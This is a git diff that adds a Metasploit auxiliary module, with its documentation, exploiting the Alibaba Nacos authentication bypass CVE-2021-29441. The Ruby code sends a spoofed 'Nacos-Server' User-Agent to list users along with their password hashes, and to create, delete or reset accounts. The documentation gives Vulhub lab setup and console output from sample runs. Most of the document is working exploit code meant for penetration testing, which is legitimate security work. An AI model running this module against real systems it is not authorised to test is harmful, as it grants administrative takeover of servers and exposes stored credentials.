diff --git a/documentation/modules/auxiliary/admin/http/nacos_auth_bypass.md b/documentation/modules/auxiliary/admin/http/nacos_auth_bypass.md new file mode 100644 index 0000000000000..06cb16949d4df --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/nacos_auth_bypass.md @@ -0,0 +1,131 @@ +## Vulnerable Application + +This module exploits an authentication bypass vulnerability in Alibaba Nacos versions prior to **1.4.1** (CVE-2021-29441). + +The vulnerability exists because Nacos trusts requests containing the `User-Agent: Nacos-Server` header without verifying that the request originated from another trusted Nacos server. An unauthenticated attacker can abuse this behavior to bypass authentication and perform privileged administrative actions. + +This module supports the following operations: + +- Check if the target is vulnerable +- Enumerate users +- Create a new user +- Delete an existing user +- Update a user's password + +The vulnerability was fixed in **Nacos 1.4.1**. + +## Testing + +A vulnerable environment can be deployed using Vulhub. + +Clone the repository: + +``` +git clone https://github.com/vulhub/vulhub.git +cd vulhub/nacos/CVE-2021-29441 +``` + +Start the vulnerable environment: + +``` +docker-compose up -d +``` + +The vulnerable Nacos instance will be available on port **8848**. + +**Successfully tested on** + +- Alibaba Nacos 1.4.0 + +## Verification Steps + +1. Deploy the Vulhub Nacos CVE-2021-29441 environment. +2. Start `msfconsole`. +3. `use auxiliary/admin/http/nacos_auth_bypass` +4. `set RHOSTS ` +5. `set ACTION LIST_USERS` +6. `run` +7. If the target is vulnerable, the configured users should be displayed. + +To create a new user: + +1. `set ACTION CREATE_USER` +2. `set USERNAME metasploit` +3. `set PASSWORD Password123!` +4. `run` + +## Options + +### USERNAME + +Username used by the `CREATE_USER`, `DELETE_USER`, `UPDATE_PASSWORD`, and `EXPLOIT` actions. + +### PASSWORD + +Password used when creating a new user. + +### NEW_PASSWORD + +New password assigned during the `UPDATE_PASSWORD` action. + +### ACTION + +The action to perform. + +Supported values are: + +- CHECK +- LIST_USERS +- CREATE_USER +- DELETE_USER +- UPDATE_PASSWORD +- EXPLOIT + +## Scenarios + +Running the module against a vulnerable Nacos 1.4.0 instance: + +``` +msf6 > use auxiliary/admin/http/nacos_auth_bypass +msf auxiliary(admin/http/nacos_auth_bypass) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf auxiliary(admin/http/nacos_auth_bypass) > set ACTION LIST_USERS +ACTION => LIST_USERS +msf auxiliary(admin/http/nacos_auth_bypass) > run +[*] Running module against 127.0.0.1 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Target appears vulnerable to Nacos authentication bypass +[*] Listing users... +Nacos Users +=========== + +Username Password Roles +-------- -------- ----- +metasploit $2a$10$4AxVyLxNd7v3X1VM3mzJleohavV72JWcUOBEDwTeuY2zdh09H772i user +nacos $2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu user + +[*] Auxiliary module execution completed +msf auxiliary(admin/http/nacos_auth_bypass) > + +``` + +Creating a new user: + +``` +msf auxiliary(admin/http/nacos_auth_bypass) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(admin/http/nacos_auth_bypass) > set ACTION CREATE_USER +ACTION => CREATE_USER +msf auxiliary(admin/http/nacos_auth_bypass) > set USERNAME metasploit +USERNAME => metasploit +msf auxiliary(admin/http/nacos_auth_bypass) > set PASSWORD Password123! +PASSWORD => Password123! +msf auxiliary(admin/http/nacos_auth_bypass) > run +[*] Running module against 127.0.0.1 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Target appears vulnerable to Nacos authentication bypass +[*] Creating user 'metasploit'... +[+] user metasploit with password Password123! created successfully +[*] Auxiliary module execution completed +msf auxiliary(admin/http/nacos_auth_bypass) > +``` diff --git a/modules/auxiliary/admin/http/nacos_auth_bypass.rb b/modules/auxiliary/admin/http/nacos_auth_bypass.rb new file mode 100644 index 0000000000000..8a545a2f59692 --- /dev/null +++ b/modules/auxiliary/admin/http/nacos_auth_bypass.rb @@ -0,0 +1,220 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Nacos Authentication Bypass User Management', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in Alibaba Nacos + versions prior to 1.4.1. By using the special User-Agent header 'Nacos-Server', + an attacker can bypass authentication and perform administrative actions such + as listing, creating, deleting, and updating user passwords. + }, + 'Author' => [ 'K3ysTr0K3R' ], + 'References' => + [ + [ 'CVE', '2021-29441' ], + [ 'URL', 'https://github.com/alibaba/nacos/issues/4562' ], + [ 'URL', 'https://github.com/ARPSyndicate/cvemon/blob/master/CVE-2021-29441' ], + [ 'URL', 'https://github.com/K3ysTr0K3R/CVE-2021-29441'], + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['CHECK', { 'Description' => 'Check if the target is vulnerable' }], + ['LIST_USERS', { 'Description' => 'List existing users' }], + ['CREATE_USER', { 'Description' => 'Create a new user' }], + ['DELETE_USER', { 'Description' => 'Delete a user' }], + ['UPDATE_PASSWORD',{ 'Description' => 'Update a user\'s password' }], + ['EXPLOIT', { 'Description' => 'Check vulnerability and, if vulnerable, create a new user' }] + ], + 'DefaultAction' => 'EXPLOIT', + 'Notes' => + { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] + } + ) + ) + + register_options( + [ + Opt::RPORT(8848), + OptString.new('TARGETURI', [true, 'Base path to Nacos', '/']), + OptString.new('USERNAME', [false, 'Username for user-related actions']), + OptString.new('PASSWORD', [false, 'Password for user creation or update']), + OptString.new('NEW_PASSWORD', [false, 'New password for update action']), + OptBool.new('SSL', [false, 'Use SSL', false]) + ] + ) + end + + def validate + if action.name == 'CREATE_USER' || action.name == 'EXPLOIT' + if datastore['USERNAME'].nil? || datastore['USERNAME'].empty? + fail_with(Failure::BadConfig, 'USERNAME must be set for this action') + end + if datastore['PASSWORD'].nil? || datastore['PASSWORD'].empty? + fail_with(Failure::BadConfig, 'PASSWORD must be set for this action') + end + end + + if action.name == 'DELETE_USER' + if datastore['USERNAME'].nil? || datastore['USERNAME'].empty? + fail_with(Failure::BadConfig, 'USERNAME must be set for delete action') + end + end + + if action.name == 'UPDATE_PASSWORD' + if datastore['USERNAME'].nil? || datastore['USERNAME'].empty? + fail_with(Failure::BadConfig, 'USERNAME must be set for update action') + end + if datastore['NEW_PASSWORD'].nil? || datastore['NEW_PASSWORD'].empty? + fail_with(Failure::BadConfig, 'NEW_PASSWORD must be set for update action') + end + end + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/nacos/v1/auth/users'), + 'vars_get' => { 'pageNo' => 1, 'pageSize' => 1 }, + 'headers' => { 'User-Agent' => 'Nacos-Server' } + ) + + return Exploit::CheckCode::Unknown('No response from target') unless res + + if res.code == 200 && res.get_json_document&.key?('pageItems') + return Exploit::CheckCode::Vulnerable('Target appears vulnerable to Nacos authentication bypass') + end + + Exploit::CheckCode::Safe('Target does not appear vulnerable') + end + + def run + validate + + case action.name + when 'CHECK' + check + when 'EXPLOIT' + if check == Exploit::CheckCode::Vulnerable + create_user + else + print_error('Target is not vulnerable – aborting.') + end + when 'LIST_USERS' + list_users + when 'CREATE_USER' + create_user + when 'DELETE_USER' + delete_user + when 'UPDATE_PASSWORD' + update_password + end + end + + private + + def send_nacos_request(method, uri, params = {}, data = nil) + opts = { + 'method' => method, + 'uri' => normalize_uri(target_uri.path, uri), + 'headers' => { 'User-Agent' => 'Nacos-Server' }, + 'vars_get' => params + } + + opts['data'] = data if data + opts['ctype'] = 'application/x-www-form-urlencoded' if data + + send_request_cgi(opts) + end + + def list_users + print_status('Listing users...') + res = send_nacos_request('GET', '/nacos/v1/auth/users', { 'pageNo' => 1, 'pageSize' => 50 }) + + unless res && res.code == 200 + print_error('Failed to retrieve user list') + return + end + + json = res.get_json_document + unless json && json['pageItems'] + print_error('No user data in response') + return + end + + users = json['pageItems'] + if users.empty? + print_status('No users found') + return + end + + table = Rex::Text::Table.new( + 'Header' => 'Nacos Users', + 'Columns' => ['Username', 'Password', 'Roles'], + 'Indent' => 0 + ) + + users.each do |user| + username = user['username'] || 'N/A' + password = user['password'] || '********' + roles = user['roles']&.join(', ') || 'user' + table << [username, password, roles] + end + + print_line(table.to_s) + end + + def create_user + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + + print_status("Creating user '#{username}'...") + data = "username=#{Rex::Text.uri_encode(username)}&password=#{Rex::Text.uri_encode(password)}" + res = send_nacos_request('POST', '/nacos/v1/auth/users', {}, data) + + if res && res.code == 200 + print_good("user #{username} with password #{password} created successfully") + else + print_error("Failed to create user: #{res&.code} #{res&.body}") + end + end + + def delete_user + username = datastore['USERNAME'] + print_status("Deleting user '#{username}'...") + res = send_nacos_request('DELETE', '/nacos/v1/auth/users', { 'username' => username }) + + if res && res.code == 200 + print_good("User '#{username}' deleted successfully") + else + print_error("Failed to delete user: #{res&.code} #{res&.body}") + end + end + + def update_password + username = datastore['USERNAME'] + new_password = datastore['NEW_PASSWORD'] + + print_status("Updating password for user '#{username}'...") + params = { 'username' => username, 'password' => new_password } + res = send_nacos_request('PUT', '/nacos/v1/auth/users', params) + + if res && res.code == 200 + print_good("Password for '#{username}' updated successfully") + else + print_error("Failed to update password: #{res&.code} #{res&.body}") + end + end +end